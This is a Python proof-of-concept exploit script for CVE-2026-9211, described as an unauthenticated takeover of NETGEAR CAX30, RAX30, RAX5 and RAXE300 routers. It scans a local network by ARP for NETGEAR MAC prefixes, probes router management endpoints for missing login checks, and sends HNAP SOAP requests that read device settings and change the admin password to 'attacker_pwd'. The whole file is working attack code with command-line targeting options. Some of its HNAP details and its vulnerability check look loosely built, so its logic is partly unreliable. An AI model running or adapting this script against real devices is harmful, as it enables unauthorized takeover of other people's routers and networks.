# CVE-2026-9211 - NETGEAR Router Unauthenticated Remote Takeover PoC
# Affected: NETGEAR CAX30, RAX30, RAX5, RAXE300
# CVSS 3.1: 8.8 (HIGH)
# Description: Unauthenticated LAN attacker gains full router control
import socket
import struct
import requests
import argparse
from scapy.all import Ether, ARP, srp, IP, TCP, Raw, send
TARGET_PORTS = [80, 443, 8080, 8443, 55555]
VULNERABLE_MODELS = ["CAX30", "RAX30", "RAX5", "RAXE300"]
def discover_netgear_router(network="192.168.1.0/24"):
"""Discover NETGEAR router on the local network via ARP scan"""
print(f"[*] Scanning network {network} for NETGEAR routers...")
arp = ARP(pdst=network)
ether = Ether(dst="ff:ff:ff:ff:ff:ff")
packet = ether / arp
result = srp(packet, timeout=3, verbose=False)[0]
for sent, received in result:
mac = received.hwsrc.upper()
# NETGEAR OUI prefixes
netgear_ouis = ["00:14:6C", "00:1B:2F", "00:1E:2A", "00:22:3F",
"00:24:B2", "00:26:F2", "20:0C:C8", "20:4E:7F",
"28:80:88", "28:FD:80", "2C:30:33", "30:46:9A",
"34:98:B5", "38:94:ED", "3C:37:86", "40:5D:82",
"44:94:FC", "4C:60:DE", "50:4A:6E", "6C:B0:CE",
"74:44:01", "7C:64:56", "80:37:73", "84:1B:5E",
"8C:3B:AD", "94:18:82", "9C:3D:CF", "9C:C9:EB",
"A0:04:60", "A0:21:B7", "A0:40:A0", "A0:63:91",
"B0:39:56", "B0:7F:B9", "B0:B9:8A", "C0:3F:0E",
"C4:04:15", "C4:3D:C7", "CC:40:D0", "E0:46:9A",
"E0:91:F5", "E4:F0:42", "EC:1A:59", "F8:73:A2"]
oui = ":".join(mac.split(":")[:3])
if oui in netgear_ouis:
print(f"[+] Found NETGEAR device: {received.psrc} ({mac})")
return received.psrc
return None
def check_vulnerability(router_ip, port=80):
"""Check if the router is vulnerable by probing unauthenticated endpoints"""
print(f"[*] Probing {router_ip}:{port} for CVE-2026-9211...")
try:
# Attempt to access management interface without authentication
endpoints = [
"/",
"/apply.cgi",
"/apply_noauth.cgi",
"/cgi-bin/hnap/",
"/HNAP1/",
"/soap/server_sa/",
"/admin/",
"/setup.cgi",
"/debug.cgi"
]
for endpoint in endpoints:
url = f"http://{router_ip}:{port}{endpoint}"
try:
resp = requests.get(url, timeout=5, verify=False)
# Check for indicators of unauthorized access
if resp.status_code == 200 and "NETGEAR" in resp.text:
print(f"[+] Accessible endpoint: {endpoint}")
if "password" not in resp.text.lower() or "login" not in resp.text.lower():
print(f"[!] POTENTIALLY VULNERABLE - No auth required at {endpoint}")
return True
except Exception:
continue
except Exception as e:
print(f"[-] Error: {e}")
return False
def exploit_router(router_ip, port=80):
"""Exploit CVE-2026-9211 to gain router control"""
print(f"[*] Attempting exploitation of {router_ip}...")
# Step 1: Send unauthenticated HNAP request to bypass auth
hnap_payload = '<?xml version="1.0" encoding="utf-8"?>' \
'<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"' \
' xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"' \
' xmlns:tns="http://purenetworks.com/HNAP1/">' \
'<soap:Body>' \
'<tns:GetDeviceSettings/>' \
'</soap:Body>' \
'</soap:Envelope>'
headers = {
"Content-Type": "text/xml; charset=utf-8",
"SOAPAction": '"http://purenetworks.com/HNAP1/GetDeviceSettings"'
}
try:
resp = requests.post(f"http://{router_ip}:{port}/HNAP1/",
data=hnap_payload, headers=headers, timeout=10, verify=False)
if resp.status_code == 200 and "GetDeviceSettingsResponse" in resp.text:
print("[+] Authentication bypassed - device settings obtained")
# Step 2: Modify router configuration (e.g., change admin password, DNS)
modify_payload = '<?xml version="1.0" encoding="utf-8"?>' \
'<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"' \
' xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"' \
' xmlns:tns="http://purenetworks.com/HNAP1/">' \
'<soap:Body>' \
'<tns:SetDeviceSettings>' \
'<tns:NewPassword>attacker_pwd</tns:NewPassword>' \
'</tns:SetDeviceSettings>' \
'</soap:Body>' \
'</soap:Envelope>'
headers["SOAPAction"] = '"http://purenetworks.com/HNAP1/SetDeviceSettings"'
resp2 = requests.post(f"http://{router_ip}:{port}/HNAP1/",
data=modify_payload, headers=headers, timeout=10, verify=False)
if resp2.status_code == 200 and "SetDeviceSettingsResponse" in resp2.text:
print("[+] Router configuration modified successfully")
print(f"[+] Admin password changed to: attacker_pwd")
print(f"[+] Router control achieved at http://{router_ip}:{port}")
return True
except Exception as e:
print(f"[-] Exploitation failed: {e}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2026-9211 PoC")
parser.add_argument("-t", "--target", help="Target router IP")
parser.add_argument("-p", "--port", type=int, default=80, help="Target port")
parser.add_argument("-n", "--network", default="192.168.1.0/24", help="Network to scan")
args = parser.parse_args()
if args.target:
target = args.target
else:
target = discover_netgear_router(args.network)
if not target:
print("[-] No NETGEAR router found")
exit(1)
if check_vulnerability(target, args.port):
exploit_router(target, args.port)
else:
print("[-] Target does not appear vulnerable")